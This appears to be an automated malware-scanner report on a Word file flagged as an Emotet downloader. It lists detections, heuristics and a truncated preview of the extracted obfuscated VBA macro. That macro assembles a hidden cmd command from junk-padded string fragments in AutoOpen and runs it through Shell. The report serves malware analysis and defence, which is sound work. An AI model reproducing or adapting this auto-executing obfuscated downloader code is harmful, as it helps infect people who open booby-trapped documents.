MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common characteristic of Emotet. The ClamAV detection also explicitly names Emotet. The AutoOpen macro attempts to construct a command string and execute it, likely to download and run a secondary payload. The embedded URL, though benign, is noted as part of the document's structure.
Heuristics 5
-
ClamAV: Doc.Downloader.Emotet-6776349-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6776349-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 30974 bytes |
SHA-256: 2e5e707d1154c8fdf840af75dd9f270150ff4c021f2677aea18e085fa57cb8ab |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "mGdSmnqnOajOVF"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
FdFtVI = 1
OcjKn = Cos(5735 - QLLCU / 10359 + BhnzC)
FfnDw = Fix(8576)
wvoUR = 6
PUidPQwCYX = "" + YBOnrvaJAA + JlsXTKEwAGt + CVar("cm") + IwaQSuYdqnAF + FGdzCbNwrN + IEKVRFJhtH + ajStp + DWRVcnbi + qjqhnYbWMNi + KhbhBLV + ibGFUSV + AuZUjdY + vIsES + sfKniWAhZW + pXiYLNqdR + RImhHujfbuO + CbKZN + nEirXqhkiNI + dzQzEHobo + rVnTqSit + ZvRwskhOYG + MqztAolP + mFpSwda + flbCIXXCi + OcjoaqFior + WVdNQjFdnB + cdQXXDW + uwBBBIqAWt + ZlJtMAoJ + ZzkMQ + RzmGJOHA + kbRwUSKJY + HLTJXirjsvS + zEZirNpJs + uizjWGhWjP + pmciTwPjw + XBJabb + FzoqT + oCaAnoLXcE + qXzMH + QFwFnnqqSHz + XWFdzMRNiiQ + ZjfwfzsAVFI + jwAthFw + zrRCnwrWJ
VMHNt = 495579077
Shell@ PUidPQwCYX, 0
oVVsaN = IGkPwi
End Sub
Attribute VB_Name = "tVFzKwwwIQX"
Function IEKVRFJhtH()
On Error Resume Next
tDCUZE = ChrB(2)
WXFuFi = ChrB(30533 * KQiii)
iZVKUX = "d " + " /" + "c " + " " + " " + " c"
LKAJBJ = chOMLs
iFbijW = Cos(9)
pNwqcv = 6830
OLNWuaXDtnl = "M" + "D " + " /v:On/C" + CStr(Chr(FkOnhrsdj + sdNfzZP + 34 + wkCIrtMu + LkUjVjwfBBczo)) + "s" + "eT"
MHJPD = Rnd(vNacM)
EJiRp = hpPzP
JXRwluwPAZ = " $?,=" + "\\\" + "//_/-__"
ZfOGm = Hex(80)
vFwOOt = "--/" + "_\ -" + "_/\_-/" + "-\\" + "\-/__ /"
EiPGVE = "\\\--_" + "/-__/_-\"
kTjlBB = CTjnHB
SjaPYz = Round(tijHV)
rakMmCY = " /_-\" + "-" + "-" + "\_/-" + "_\"
aaXEY = 414534674
wLnrTPczzZX = "/_\ -/" + "__\_" + "/-\/--" + "_\\ _\-_\" + "\_" + "-_////-\ "
ATjifYsizEn = "\//_/\_-_" + "\\-" + "-_- -\\" + "\-"
IEKVRFJhtH = iZVKUX + OLNWuaXDtnl + JXRwluwPAZ + vFwOOt + EiPGVE + rakMmCY + wLnrTPczzZX + ATjifYsizEn
TjLMj = tOBHjv
Mkztj = Oct(dGjMkc)
AaCcZ = Chr(Etfwq)
End Function
Function ajStp()
On Error Resume Next
GNzQw = Tan(834)
wQrwqtHnbzQ = "//__--_/" + "\_ " + "\/-_/" + "-\-\\__/"
STqKwG = "/- \-_\-/" + "\\-__//-" + "/ _\\" + "_-\_\" + "/-/-_/- _/"
vwqEfh = Oct(zOtrIn - zuFAJ)
BwpjwZ = CByte(PWiWh + EODKwE + NSzLL - nRwZAu)
ESptiDkwC = "_/\\-\-\-_" + "_/-" + " "
Crmoi = "/" + "/\__--_" + "\-/" + "/-_\ " + "_/-\_/_\\" + "_-\--/ /"
HWVjXAaz = "/\\-_/-_/" + "\\__- -" + "/_\_/\/--" + "_-\\_ " + "_-" + "\\"
wiVLlj = Oct(3363)
dmimi = "/__-_\-/" + "-/" + "\ /__"
bvrIRM = 8
krzOtvJP = "//\\"
ajStp = wQrwqtHnbzQ + STqKwG + ESptiDkwC + Crmoi + HWVjXAaz + dmimi + krzOtvJP
jRLQNv = 2027
iwjmaS = Atn(rLSMzR)
jQEFT = CInt(4597 / mSDUAk / 53867 + MzMjT)
End Function
Function DWRVcnbi()
On Error Resume Next
qTmwRA = Sin(zbkjm / 88759 / pDskV + QwBlj)
dliZiSPUF = "/_\\_---}"
IGjHIcnNk = "/-_" + "\-/_/-\\"
KhAzGEhvizH = "-_\_}/_-_\" + "\__-\//--/" + "{/" + "-\-_/_\" + "_/_-" + "\\/h\\_/" + "_/-//_\-\-"
tIzPh = ChrW(408363588)
HwjTp = Fix(152594820)
KduvVvjnMW = "_c\__\_/"
BPJwH = 70
EQwQiv = CSng(vVnuin)
pitwH = CByte(IGjrFR)
TSIudpqO = "\/--_/\-/t"
LtmwpA = jMjbHh
NBarAKz = "-_\\-_/\/_"
SKSodzJ = "-_-//a/" + "/" + "-__\\" + "-__/\--\c"
iOLLEL = CInt(73950 - GzbzF)
vjlSw = Rnd(4642)
smiNdVDdQ = "--/--" + "_\_" + "\_//_\/}\" + "\/-//_"
PEZjH = CDbl(50065 - rfPDji * XYZbVK + JdzDr)
DoMEzT = CDate(75)
LihUVs = "\/--_\-" + "_" + ";\" + "\/-/_"
jPsFID = 340805908
HjtYmW = Cos(56312 * wVroiu)
bjPczw = CStr(lCwjNk - pRIKO + 32230 * iWzcIF)
jdFBHqF = "\/-_/__-\k" + "\/_-" + "\/" + "--" + "___\" + "\-/a/_\__-"
DWRVcnbi = dliZiSPUF + IGjHIcnNk + KhAzGEhvizH + KduvVvjnMW + TSIudpqO + NBarAKz + SKSodzJ + smiNdVDdQ + LihUVs + jdFBHqF
uwJRz = CBool(qYLWio)
End Function
Function qjqhnYbWMNi()
On Error Resume Next
IsHfm = ChrB(27469 - rliYsN)
FcAiV = 38
tJzoHJd = "-/\_-\/" + "\/e/" + "\" + "-\_\//\"
ILIYLVf = "_-/-_-r_" + "_/" + "\--"
IqCzb = Int(157942624)
ujbXGGzI = "_" + "\\\/--//b/" + "-" + "--_\_/\_\_" + "//-;\_/\" + "/_/\-/-\_-" + "-
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.